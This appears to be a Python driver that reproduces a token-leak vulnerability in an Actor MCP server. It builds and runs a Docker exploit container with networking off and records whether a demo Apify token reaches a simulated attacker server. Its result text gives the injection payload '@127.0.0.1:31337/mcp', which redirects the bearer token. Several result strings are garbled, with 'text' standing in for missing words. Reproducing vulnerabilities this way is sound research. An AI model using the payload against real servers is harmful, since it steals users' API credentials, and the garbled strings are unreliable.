#!/usr/bin/env python3
"""
VULN-001 dynamic PoC driver.

Builds the Docker image, runs the exploit container, collects observable evidence,
and writes phase2_result.json with the outcome.
"""
import json
import os
import subprocess
import sys
import textwrap

# ─── paths ────────────────────────────────────────────────────────────────────
THIS_DIR    = os.path.dirname(os.path.abspath(__file__))          # vuln-001/
CONTEXT_DIR = os.path.dirname(THIS_DIR)                           # mcp_38_apify__actors-mcp-server/
DOCKERFILE  = os.path.join(THIS_DIR, 'Dockerfile')
RESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')
IMAGE_TAG   = 'vuln-001-poc'

BUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]
RUN_CMD   = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]


def run(cmd, *, timeout, **kwargs):
    return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)


def write_result(payload: dict):
    with open(RESULT_PATH, 'w') as f:
        json.dump(payload, f, indent=2, ensure_ascii=False)
    print(f'\n[*] phase2_result.json write complete: {RESULT_PATH}')


def main():
    print('=' * 70)
    print('VULN-001 dynamic reproduction — Actor MCP path authority injection')
    print('=' * 70)

    # ── 1. Docker build ───────────────────────────────────────────────────────
    print(f'\n[1/2] building Docker image...')
    print(f'      command: {" ".join(BUILD_CMD)}')
    build = run(BUILD_CMD, timeout=600)
    if build.returncode != 0:
        msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]
        print('[!] build failed:\n', msg)
        write_result({
            'passed': False,
            'verdict': 'FAIL',
            'reason': f'Docker build failed. error: {msg[:500]}',
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 {os.path.relpath(__file__)}',
            'evidence': msg[:1000],
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
        sys.exit(1)
    print('[+] build succeeded')

    # ── 2. Docker run ─────────────────────────────────────────────────────────
    print(f'\n[2/2] text while running the container...')
    print(f'      command: {" ".join(RUN_CMD)}')
    try:
        run_result = run(RUN_CMD, timeout=120)
    except subprocess.TimeoutExpired:
        write_result({
            'passed': False,
            'verdict': 'INCOMPLETE',
            'reason': 'container execution 120seconds timeout. text text or TLS handshake issuetext can exists.',
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 {os.path.relpath(__file__)}',
            'evidence': 'timeout',
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
        sys.exit(1)

    stdout = run_result.stdout
    stderr = run_result.stderr
    print('\n--- container stdout ---')
    print(stdout)
    if stderr:
        print('--- container stderr (text 1000characters) ---')
        print(stderr[:1000])

    # ── 3. result verdict ──────────────────────────────────────────────────────────
    passed = (
        run_result.returncode == 0
        and 'attacker HTTPS server received request' in stdout
        and 'EXPLOIT SUCCESSFUL' in stdout
        and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout
    )

    # Build evidence excerpt (key lines only)
    evidence_lines = [l for l in stdout.splitlines()
                      if any(k in l for k in ['PASS', 'PROOF', 'received request',
                                               'EXPLOIT', 'parsed.hostname', 'Authorization'])]
    evidence = '\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]

    if passed:
        print('\n[✓] PASS — token leak vulnerability dynamic reproduction success')
        write_result({
            'passed': True,
            'verdict': 'PASS',
            'reason': (
                'Docker container withintext vulnerabilitytext fully reproductiondone. '
                'actors.ts:44text `${standbyUrl}${mcpServerPath}` string text '
                '`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo '
                '`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, '
                'Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo '
                'client.ts:94text `Authorization: Bearer <APIFY_TOKEN>` headertext attacker HTTPS servertext beforetextdone.'
            ),
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 poc.py',
            'evidence': evidence,
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
    else:
        reason_detail = ''
        if run_result.returncode != 0:
            reason_detail = f'container exit code {run_result.returncode}. '
        if 'TOKEN_CAPTURED' not in stdout:
            reason_detail += 'attacker serverfrom token capture text textnot not. '
        if 'EXPLOIT SUCCESSFUL' not in stdout:
            reason_detail += 'final success message none. '

        print(f'\n[✗] FAIL — {reason_detail}')
        write_result({
            'passed': False,
            'verdict': 'FAIL',
            'reason': f'failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}',
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 poc.py',
            'evidence': stdout[-2000:] + ('\nSTDERR: ' + stderr[:500] if stderr else ''),
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
        sys.exit(1)


if __name__ == '__main__':
    main()